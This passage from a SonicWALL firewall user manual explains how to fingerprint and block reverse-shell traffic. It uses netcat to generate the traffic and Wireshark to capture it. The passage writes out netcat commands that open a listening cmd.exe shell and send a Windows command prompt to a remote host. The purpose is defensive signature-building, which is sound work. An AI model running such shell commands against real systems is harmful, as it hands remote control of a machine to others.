SonicWALL 5.8.1 Manuale Utente

Networks using unencrypted Telnet service must configure policies that exclude those 
servers’ IP addresses.

While this use case refers to the specific case of reverse shell payloads (outbound 
connections), it is more secure to configure the policy to be effective also for inbound 
connections. This protects against a case where the executed payload spawns a listening shell 
onto the vulnerable host and the attacker connects to that service across misconfigured 
firewalls. 

The actual configuration requires the following: 

Generating the actual network activity to be fingerprinted, using the netcat tool 

Capturing the activity and exporting the payload to a text file, using the Wireshark tool 

Creating a match object with a string that is reasonably specific and unique enough to avoid 
false positives 

Defining a policy with the action to take when a payload containing the object is parsed (the 
default Reset/Drop is used here) 

The netcat tool offers – among other features – the ability to bind a program’s output to an 
outbound or a listening connection. The following usage examples show how to setup a 
listening “Command Prompt Daemon” or how to connect to a remote endpoint and provide an 
interactive command prompt: 

nc –l –p 23 –e cmd.exe

 

A Windows prompt will be available to hosts connecting to port 23 (the -l option stands for 
listen mode as opposed to the default, implicit, connect mode).

nc –e cmd.exe 44.44.44.44 23

 

A Windows prompt will be available to host 44.44.44.44 if host 44.44.44.44 is listening on 
port 23 using the netcat command:

nc -l -p 23

 

To capture the data, launch Wireshark and click Capture > Interfaces to open a capture dialog. 
Start a capture on the interface with the netcat traffic. As soon as the capture begins, run the 
netcat command and then stop the capture. 

The following image shows the data flow through the network during such a connection (Vista 
Enterprise, June 2007):